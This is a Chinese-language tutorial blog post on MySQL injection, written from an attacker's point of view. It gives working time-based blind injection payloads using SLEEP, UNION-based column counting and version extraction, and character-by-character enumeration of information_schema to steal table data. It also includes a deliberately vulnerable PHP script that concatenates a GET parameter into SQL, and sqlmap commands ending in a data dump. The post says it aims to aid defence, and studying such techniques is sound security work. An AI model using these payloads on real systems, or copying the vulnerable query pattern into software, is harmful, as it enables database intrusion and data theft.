如何快速确认你的网站是否有注入的可能?
string id = Request.get("id")
string sql = "select * from users where id=" + id
db.query(sql)
以上是一段伪代码,从浏览器接受一个参数“id”,并用该值拼装SQL语句且执行。此时你的应用程序程序就有sql注入的可能性,但我是不知道的,那么我如何快速的确定你这段程序有没有sql注入的可能?我在浏览器请求的时候“id”只需传该值即可:“1 and sleep(5)”即可,此时该SQL语句将是:
select * from users where id=1 and sleep(5);
没错,你的程序被loading的5s才加载出来,这极有可能是为“sleep(5)”造成的,初步断定该程序有注入可能性
如何知道你的表有几个字段?
找到了程序有注入的可能性,那我就用下例方式实施注入并知道你的表有几个字段
select * from users where id=1 union all select null
注入部分就是“1 union all select null”,我就是利用了mysql的“union all”方式去判断的,如果字段个数不匹配是会报错的,如果报错我再“select null,null”,还不行我再“select null,null,null”,直到行为止。最后有多少个null,我就断定该表有多少个字段。
如何拿到我想要的结果?
嗯,现在我通过上一步,知道你的users表有3个字段了,这个信息对我极为关键。现在我想知道你的mysql版本号是多少
select * from users where id=1 union all select @@version,null,null
如果我在你的列表页注入上边的语句,你还不把mysql版本号乖乖的显示给我?
mysql的sleep函数在注入中所起的作用
有时候“union all”并不好用,因为我好不容易找到一个可注入的漏洞,但是这不是一个列表页,我想要的信息并不能如愿显示在网页上,怎么办?可以肯定的是很多注入在没有sleep的函数的情况下都无法进行,注入漏洞告诉我“我的猜想是否成立”的一个标志就是使用sleep函数,如果睡眠则成立,否则不成立,比如下例:如果你的mysql版本是“5.7.18”则通过“sleep(5)”告诉我,那么我访问这个网页转 loading 了 5s 或者更久才显示出来,这极有可能版本号就是“5.7.18”:
SELECT * FROM users WHERE id=1 AND 1 = IF(@@version = '5.7.18', SLEEP(5), 0);;
如何知道你的DB有几个数据库?
接下来想看看你的DB有哪些数据库,你以为是使用注入的方式去执行“show databases”吗?怎么可能!!!这种办法几乎行不通,没有哪个程序会把“show databases”的结果输出出来吧?神奇的mysql函数出现了,那就是上边讲到的“sleep”,如下:
SELECT * FROM users WHERE id = 1
AND 4626 = IF(
(
ORD(
MID(
(SELECT
IFNULL(
CAST(COUNT(DISTINCT (schema_name)) AS CHAR),
CHAR(32)
)
FROM
information_schema.SCHEMATA),
1,
1
)
) > 57
),
SLEEP(5),
4626
)
理解这段mysql只需要理解其中几个函数即可,像“ord”、“mid”等等。看到语句中的“57”了吗?他表示的是数字“9”的ascii码,这个值表示我猜想你的DB有9个数据库的意思。那么黑客如何是如何猜测的呢?利用上述语句,大概思路就是:
我猜测你的DB大于2个库?sleep(5),猜对了
我猜测你的DB大于3个库?sleep(5),猜对了
我猜测你的DB大于4个库?sleep(5),猜对了
我猜测你的DB大于5个库?sleep(5),猜对了
我猜测你的DB大于6个库?没有sleep(5),猜错了
我猜测你的DB等于5个库?sleep(5),猜对了
于是我得出结论:你的DB有5个数据库
如何枚举出所有的数据库?
通过上例已经知道,我是从“informationschema.SCHEMATA”表通过猜的手段猜出来DB有几个库的,“informationschema.SCHEMATA”表存放的就是DB中所有的库。现在我继续利用“information_schema.SCHEMATA”去猜你的每个表叫什么名字,大概思路就是通过ascii码挨个猜:
我猜测“information_schema.SCHEMATA”表第1个库的名字的第1个字母是“a”?没有sleep(5),猜错了
我猜测“information_schema.SCHEMATA”表第1个库的名字的第1个字母是“b”?没有sleep(5),猜错了
我猜测“information_schema.SCHEMATA”表第1个库的名字的第1个字母是“c”?没有sleep(5),猜错了
...
我猜测“information_schema.SCHEMATA”表第1个库的名字的第1个字母是“t”?sleep(5),猜对了
我猜测“information_schema.SCHEMATA”表第1个库的名字的第2个字母是“a”?没有sleep(5),猜错了
我猜测“information_schema.SCHEMATA”表第1个库的名字的第2个字母是“b”?没有sleep(5),猜错了
...
我猜测“information_schema.SCHEMATA”表第1个库的名字的第2个字母是“e”?sleep(5),猜对了
...
我猜测“information_schema.SCHEMATA”表第1个库的名字的第3个字母是“s”?sleep(5),猜对了
...
我猜测“information_schema.SCHEMATA”表第1个库的名字的第4个字母是“t”?sleep(5),猜对了
...
于是我已经知道你有一个库的名字叫“test”,如此效仿,继续猜第其它库的名字。。。
如何枚举出所有的数据表?
现在你所有的数据库我已经知道了,我现在要知道你“test”数据库下边有哪些表?方法很简单,仍然是利用上述方法进行猜测,所不同的是这次我对“information_schema.TABLES”表进行猜测。这已经猜到你有“users”表
如何知道数据表有几个字段以及哪些字段?
上边的方法都是现成可用的,对“information_schema.COLUMNS”表进行猜,关于该表字段的一切信息都存在于该表,接下来就是穷举猜测。
盗取表数据
知道你的数据库名,知道你的表名,知道你的字段名,猜,一个字,就是猜,每个字段挨着猜。由于是靠猜,速度有点儿慢。
结语
可以看到,“猜”成了常规手段,通过计数 sleep 的时间,来测试(反馈)渗透命令中的有效性,这在安全界通常叫基于时间的盲注!本文只是对mysql注入进行一个入门的认识,旨在为大家防注入和解决问题的方法提供一个不一样的脑洞。“sleep”这种方式效率极其低下,但是往往利用该方式可以更快的发现其他可用漏洞。如果服务器受到mysql注入攻击,那么势必会引起大量的(与平时不匹配的)http请求。通过sleep反馈猜测结果是不需要页面上显示任何信息的,因此它同样适用于update,delete等语句的注入
附测试程序
<?php
try {
$HOST = '127.0.0.1';
$PORT = '3306';
$USER = 'root';
$PASS = 'root';
$DBNAME = 'anfanapi';
$db = new PDO("mysql:host={$HOST}; dbname={$DBNAME}; port={$PORT}; charset=utf8", $USER, $PASS);
$id = $_GET['id'];
$result = $db->exec("select * from ucusersVC where ucid={$id}");
} catch(Exception $e) {
}
echo "hello hacker";
sqlmap 相关命令
// 网址是否有注入漏洞
python sqlmap.py -u "http://test/1.php?id=1"
// 枚举所有数据库
python sqlmap.py -u "http://test/1.php?id=1" --dbs
// 检举数据库下边的所有表
python sqlmap.py -u "http://test/1.php?id=1" -D test --tables
// 检举数据表下边的所有列
python sqlmap.py -u "http://test/1.php?id=1" -T test.users --columns
// 盗取表数据
python sqlmap.py -u "http://test/1.php?id=1" -T test.users -C "id,name,create_ts" --dump